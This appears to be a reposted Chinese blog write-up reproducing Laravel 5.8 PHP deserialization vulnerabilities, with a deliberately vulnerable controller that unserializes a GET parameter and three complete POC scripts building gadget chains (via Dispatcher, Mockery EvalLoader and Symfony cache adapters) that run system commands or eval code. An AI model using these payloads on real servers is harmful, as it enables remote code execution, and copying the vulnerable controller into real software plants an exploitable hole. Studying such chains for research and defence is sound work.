laravel5.8 反序列化漏洞复现

前言

上一篇文章复现了一下laravel5.7的反序列化,这篇复现一下5.8的反序列化。还是github上下载源码:
laravel5.8
往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。
如果提示 Allowed memory size of bytes exhausted,参考这篇文章:
运行 composer update,提示 Allowed memory size of bytes exhausted

然后还是写route.php里面路由,再创建个控制器:

Route::get('/unserialize',"UnserializeController@uns");
<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    
    
    public function uns(){
    
    
        if(isset($_GET['c'])){
    
    
            unserialize($_GET['c']);
        }else{
    
    
            highlight_file(__FILE__);
        }
        return "uns";
    }
}

不过我这laravel的源码感觉有些问题。。。这显示的laravel的版本就是5.8,但是5.7的那个反序列化的链还是可以打,去网上查了一下,5.8的PendingCommand.php的__destruct()改了,但是我这里的laravel5.8的PendingCommand.php还是和5.7一样的,所以我这的源码似乎有些问题?。。不过先审着,出现了问题再想办法。

POC1

__destruct是万恶之源,这次的__destruct是PendingBroadcast.php的__destruct()
在这里插入图片描述
比较典型了,$this->events$this->event都可控,先全局搜索一下单参数的dispatch函数,看看有没有哪个类的dispatch可以利用,没有的话就只能去找__call了:

function dispatch\(\$\w+\)

经过搜索,发现Dispatcher类的dispatch()很好用:
在这里插入图片描述
跟进一下dispatchToQueue()方法:

    /**
     * Dispatch a command to its appropriate handler behind a queue.
     *
     * @param  mixed  $command
     * @return mixed
     *
     * @throws \RuntimeException
     */
    public function dispatchToQueue($command)
    {
    
    
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

        if (! $queue instanceof Queue) {
    
    
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }

        if (method_exists($command, 'queue')) {
    
    
            return $command->queue($queue, $command);
        }

        return $this->pushCommandToQueue($queue, $command);
    }

看到了call_user_func,想办法去利用就完事了。
首先是dispatch()方法的if,$this->queueResolver可控,而且这个就是回调函数名。
跟进一下commandShouldBeQueued()
在这里插入图片描述
需要$command是一个实现了ShouldQueue接口的对象,全局搜索一下,还挺多的,随便找一个用就可以了,这里我用的是QueuedCommand类。这样就if判断成功,进入dispatchToQueue()

$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);

$connection是参数同样可控,因此自此反序列化链也就理清了,写一下POC:

<?php
namespace Illuminate\Broadcasting{
    
    

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
    
    
        protected $events;
        protected $event;
        public function __construct(){
    
    
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    
    
    class QueuedCommand
    {
    
    
        public $connection="dir";
    }
}
namespace Illuminate\Bus{
    
    
    class Dispatcher
    {
    
    
        protected $queueResolver="system";

    }
}
namespace{
    
    

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

在这里插入图片描述
执行成功,不过因为这个:

if (! $queue instanceof Queue) {
    
    
    throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

仍然会抛出异常,但是命令执行的回显还是有的。

调用任意类的方法

既然可以调用任何的函数,参数也可控,可以尝试以下寻找可用的类的方法。全局搜索eval,发现EvalLoader类的load方法:
在这里插入图片描述
$definitionMockDefinition类的实例,跟进getCode():
在这里插入图片描述

code可控,再看以下能不能绕过if条件,跟进以下getClassName()
在这里插入图片描述
$this->config是可控的,跟进以下getName()方法:
在这里插入图片描述
全都可控,所以这里可以eval执行代码,构造以下POC:

<?php
namespace Illuminate\Broadcasting{
    
    

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
    
    
        protected $events;
        protected $event;
        public function __construct(){
    
    
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    
    

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
    
    
        public $connection;
        public function __construct(){
    
    
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{
    
    

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
    
    
        protected $queueResolver;
        public function __construct(){
    
    
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    
    
    class EvalLoader
    {
    
    

    }
}
namespace Mockery\Generator{
    
    
    class MockDefinition
    {
    
    
        protected $config;
        protected $code;
        public function __construct()
        {
    
    
            $this->code="<?php phpinfo();exit()?>";
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration
    {
    
    
        protected $name="feng";
    }
}

namespace{
    
    

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

这个POC就更加舒服了,因为利用的是eval,可以任意执行代码,不仅仅局限于单参数的函数了。而且注意这个:$this->code="<?php phpinfo();exit()?>";
加上了exit(),提前结束了进程,这样调用完call_user_func,后面的代码就不会执行,也就不会抛出异常了,更加好了。

POC2

这条链laravel默认是没有的,存在于symfony组件中,之前进行的操作:

往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。

就安装了这个组件了。
起点在TagAwareAdapter类的__destruct()方法中,不过我一看怎么上面还有个__wakeup
在这里插入图片描述
可能是symfony版本的问题?为了复现,先把这个__wakeup()删掉。
跟进一下commit()
在这里插入图片描述
再跟进一下invalidateTags()

    /**
     * {@inheritdoc}
     */
    public function invalidateTags(array $tags)
    {
    
    
        $ok = true;
        $tagsByKey = [];
        $invalidatedTags = [];
        foreach ($tags as $tag) {
    
    
            CacheItem::validateKey($tag);
            $invalidatedTags[$tag] = 0;
        }

        if ($this->deferred) {
    
    
            $items = $this->deferred;
            foreach ($items as $key => $item) {
    
    
                if (!$this->pool->saveDeferred($item)) {
    
    
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

            $f = $this->getTagsByKey;
            $tagsByKey = $f($items);
            $this->deferred = [];
        }

        $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
        $f = $this->createCacheItem;

        foreach ($tagsByKey as $key => $tags) {
    
    
            $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
        }
        $ok = $this->pool->commit() && $ok;

        if ($invalidatedTags) {
    
    
            $f = $this->invalidateTags;
            $ok = $f($this->tags, $invalidatedTags) && $ok;
        }

        return $ok;
    }

注意到$this->deferred可控:

            $items = $this->deferred;
            foreach ($items as $key => $item) {
    
    
                if (!$this->pool->saveDeferred($item)) {
    
    
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

找了以下$this->pool,发现它是在__construct()里出现的,类似于这样:

<?php
class test
{
    
    
    public $a;
    public $b;
    public function __construct(){
    
    
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
}
$a=new test();
var_dump($a);

动态的声明了属性。考虑到这里pool可以随意声明,那么找一个合适的类,它的saveDeferred方法可以利用。
经过寻找,发现ProxyAdapter类的saveDeferred可以利用:
在这里插入图片描述

跟进doSave()

    private function doSave(CacheItemInterface $item, string $method)
    {
    
    
        if (!$item instanceof CacheItem) {
    
    
            return false;
        }
        $item = (array) $item;
        if (null === $item["\0*\0expiry"] && 0 < $this->defaultLifetime) {
    
    
            $item["\0*\0expiry"] = microtime(true) + $this->defaultLifetime;
        }

        if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
    
    
            $innerItem = $item["\0*\0innerItem"];
        } elseif ($this->pool instanceof AdapterInterface) {
    
    
            // this is an optimization specific for AdapterInterface implementations
            // so we can save a round-trip to the backend by just creating a new item
            $f = $this->createCacheItem;
            $innerItem = $f($this->namespace.$item["\0*\0key"], null);
        } else {
    
    
            $innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
        }

        ($this->setInnerItem)($innerItem, $item);

        return $this->pool->$method($innerItem);
    }

利用点就在这里:

($this->setInnerItem)($innerItem, $item);

相当于使用一个双参数的函数,而system正好最多是2个参数:
在这里插入图片描述
审一下这个doSave()函数,首先$item必须是CacheItem类的实例,因为$item可控,所以可以做到。
然后把$item强制转换为了数组,注意到$this->setInnerItem和上面的代码没有关系,是直接可控的。而$innerItem则可以这么得到:

        if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
    
    
            $innerItem = $item["\0*\0innerItem"];
        } 

"\0*\0poolHash"会想到类中的protected属性,因为$item可控,$this->poolHash也可控,所以$innerItem也可控,所以最终的函数名和第一个参数都可控,可以执行system函数。
构造一下POC:

<?php
namespace Symfony\Component\Cache\Adapter{
    
    

    use Symfony\Component\Cache\CacheItem;

    class TagAwareAdapter
    {
    
    
        private $deferred;
        public function __construct(){
    
    
            $this->pool=new ProxyAdapter();
            $this->deferred=array(
                'feng'=>new CacheItem()
            );
        }
    }
}
namespace Symfony\Component\Cache{
    
    
    final class CacheItem{
    
    
        protected $poolHash="1";
        protected $innerItem="dir";
    }
}
namespace Symfony\Component\Cache\Adapter{
    
    
    class ProxyAdapter
    {
    
    
        private $poolHash="1";
        private $setInnerItem="system";
    }
}
namespace{
    
    

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    echo urlencode(serialize(new TagAwareAdapter()));
}

不过仍然会抛出异常,f12看一下执行结果:
在这里插入图片描述
还是执行成功了的。

总结

复现了一下laravel5.8的2个反序列化链,深刻感觉到了__destruct永远是反序列化漏洞的最佳攻击点。还有有效函数的寻找,也是自己需要学习的。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113835057